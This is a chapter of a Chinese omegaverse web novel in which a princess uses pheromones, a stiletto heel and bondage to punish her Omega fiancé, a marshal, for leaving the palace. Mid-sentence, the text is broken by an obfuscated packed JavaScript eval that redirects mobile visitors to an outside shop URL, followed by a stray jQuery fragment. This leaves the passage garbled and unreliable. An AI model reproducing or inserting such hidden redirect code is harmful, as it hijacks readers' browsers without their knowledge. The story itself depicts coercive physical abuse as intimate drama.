15. 惩罚
    这属于正常未婚夫妻间的问话吗?

    机械师没有伴侣,甚至没有谈过一场恋爱。他被迫低垂着头,咋舌于艾妲·佩洛涅特殿下的信息素侵袭性竟如此强悍,寻常Alpha在她面前都不得不收敛气味,同时在心里默默想着,这位殿下的话语为何乍听之下有一丝古怪?

    就好像是豢养的什么宠物不听话乱跑,作为主人理所当然的斥责一样。

    虽然那道声音里听不出任何愠意,但机械师莫名其妙地紧绷起来。

    元帅沉默着,没有回答艾妲,他戴着手套的手轻轻放在了机械师的肩上,稍微用力一扳,让机械师得以抬起头来,元帅哑着嗓子道,“抱歉,你先去,我的磁卡给你。”

    “……喔喔,好的长官。”

    那种如芒在背的感觉似乎更强烈了,机械师又匆忙地向殿下与元帅行了个礼,脚步凌乱地向军官食堂走去,走远前,他偷偷用余光瞟了一眼元帅。

    男人的军装制服外系着披风,显得高大而威严。与元帅一同维修接收器时,机械师已经暂且忘记了他的性别,只当他是同僚、上司。但不知是为何,面对着殿下的元帅,或许是因为被风吹得散乱的长发,或许是因为莫名绷紧的身体,机械师没法再忽视他的性别身份。

    他看起来显然是一个Omega了。

    已过正午,人工日光照射在皮肤上,带来轻微的灼热感。

    在场的第三人离去,卫瓷那股强撑起来的气势顷刻崩塌,他的面色苍白如纸,刚能够顺畅思考的大脑又仿佛被粘稠的胶质灌满。

    数日前,艾妲才乘星轨去了另一颗恒星,那是距首都星十分遥远的一颗可住人恒星,卫瓷不清楚具体情况,但知道这趟出行必定耗费许多时间。正因如此,他才有勇气踏出弦乐宫,前往荷尔戈港,执行执政官大人的旨意。

    然而她却出现在这里,此时此刻。没有任何防备的元帅僵硬地站立在原地,任由恐惧漫上四肢百骸。

    艾妲向他走近了一步,鞋跟落下时,像是敲击在了元帅的心脏上,带起一阵不自觉的生理性颤栗。

    “……我是,奉执政官大人的敕令……”

    卫瓷艰难地开口,却被艾妲打断,她平静地望着这个违抗她意志的男人,声音中听不出一丝情绪,“回去再向我辩解。”

    她伸出手,隔着一副丝绒手套,握住了元帅细瘦的手腕,就这样以一种诡异又别扭的姿势,牵着他回到飞行艇上。

    那张端庄而秀美的脸庞上看不出一丝阴沉、愠怒、暴戾,仍挂着标准而完美的亲和笑意,这是艾妲殿下最为公众所熟知的形象,然而元帅清晰地感受到了从手腕处传来的巨大疼痛感,几乎怀疑在那样的力道下腕骨会被轻易捏碎。

    等飞行艇的舱门关闭,密闭空间内的信息素浓度陡然上升,馥郁的花香织成令人窒息的茧,紧紧地包裹住卫瓷,没有留下一丝喘息的余地。

    艾妲冷冷地瞥了他一眼,“元帅,我应该对你说过,做蠢事要付出代价。”

    那个在信息素的涡旋中脸色潮红的男人狼狈地跪倒在地,后颈腺体的位置在发烫,本能叫嚣着作出更不堪的姿态来换取垂怜,卫瓷咬着牙道,“……这是执政官大人颁下的旨意,军人不能抗命,至少在星舰方面,我还能为帝国奉献些经验。艾妲,我保证,我对你不会造成任何妨害……啊!”

    一只镶嵌珍珠水晶、带着尖锐细跟的尖头高跟鞋踩住他的手背,后又重重地碾了碾,卫瓷痛得蹙紧眉头,冷汗涔涔,嘴唇咬出一道道血痕。

    “你该记住,你自己做不了任何判断。”艾妲低下头,那双眼睛冰冷而幽邃,带着铁器饮血的腥寒,“只需要做好我所吩咐的一切。”

    她顿了顿,鞋跟在元帅的手背上割出一条狰狞的伤口,“你跑出去,会沾上别人的气味。很脏。”

    她憎恶事情不按预期发展、脱离掌控的感觉,就像她第一次分化时那样,混乱、无措、痛恨……她在十九岁时才将偏离轨道的人生重又修正,一切事物都必须按部就班地听从她的安排,她不能容忍再一次脱轨。

    仅仅是半日的时间,那个被改造得勉强合格的Omega身上令她满意的麻木与怯懦都消失不见,取而代之的是眼中的清明,就仿佛他还是Alpha那样,自然而然地混迹于一堆Alpha机械师与技工当中,检视着星舰。他的内心重又充盈起来,他发觉自己仍能以Omega的身份在帝国军队中做些什么,他胆大到忘乎所以——

    艾妲神情冷酷地俯视着狼狈的元帅,明明只需要为她活着就够了,明明他的人生唯一价值就是侍奉她、为她诞育子嗣,这个男人全身上下的任何一处地方,都只能由她填满。她为元帅量身定制的剧本就是如此,元帅必须精准地演绎每一幕。

    她的父亲又在惺惺作态什么?他如何对待身为Omega的子女,他的女儿耳濡目染,还施于元帅罢

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055572|149188||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了。

    用以联姻的筹码,待价而沽的商品,生育繁衍的工具,没有别的道路可选。

    “……我明白了。对不起。”

    卫瓷忍受着手背的锐痛,那里已经一片青紫、惨不忍睹。他从艾妲的眼神中看到了一种熟悉的、想要将他毁灭殆尽的欲望,上一次在寰宇大剧院的上空,元帅用针枪毁掉机械舞伶的能源核心时,艾妲也用同样的眼神冷漠地盯视着他。

    “或许失去腺体还不够。”

    艾妲喃喃低语,少女的脸庞依旧美丽得眩目,只是那抹浅淡的笑意中带着一丝悚然,让人不寒而栗。

    当飞行艇抵达弦乐宫时,卫瓷还头脑昏沉地趴伏在地上,墨黑长发凌乱地散落在胸前,艾妲用鞋尖踢了踢他蜷缩起来的身子,提起裙摆,跨过了他,轻盈地跃下飞行艇,落在草坪上。

    卫瓷艰难地从地上爬起来,脚步虚浮地步出舱门,艾妲的信息素过于浓郁,他脸上的潮红现在还未褪去。

    他跟着艾妲走到弦乐宫雕刻有繁复花纹的大门前。

    “跪下。”

    艾妲平静地命令道。

    “……”

    卫瓷沉默着,攥紧了双拳,没有动作,艾妲抬起眼,他才小声哀求道,“我不会再出去了,艾妲,别……”

    骤然爆发的馥郁花香让他没能将话说完,元帅的身子摇晃了一下,随着一声闷哼,他支撑不住地跪倒在地。

    艾妲轻声道,“信息素很好用吧,对Alpha来说,就是能够这么简单轻易地掌控Omega。”

    她微微俯下身子,手指搭在元帅腰间的那条金线编织成的腰带上,随意将其扯落,制服因没有了束腰,显得宽大又空荡。

    艾妲持着那条腰带,绕到卫瓷身后,像摆弄人偶一样拉过元帅的两条手臂,再用腰带将双手绑缚在一起,打了个漂亮的结。

    “艾妲……”

    “别说话。”

    卫瓷姿态狼狈地跪在弦乐宫的大门前,双手被反绑,军装制服被艾妲漫不经心地剥下一半,堪堪挂在手肘处,他上身只一件白衬衫,领尖钉扣被解开,隐约能窥见不住起伏的胸膛。

    弦乐宫远离首都星居民区,被一片仙境般的湖泊包围,四周还有郁茂的森林,然而身处室外,卫瓷仍感到灭顶般得羞耻,嘴唇被他咬得发白。

    “我去玫瑰堡宫见父亲。”艾妲抱着臂,语气平顺,“就在这里等我回来。”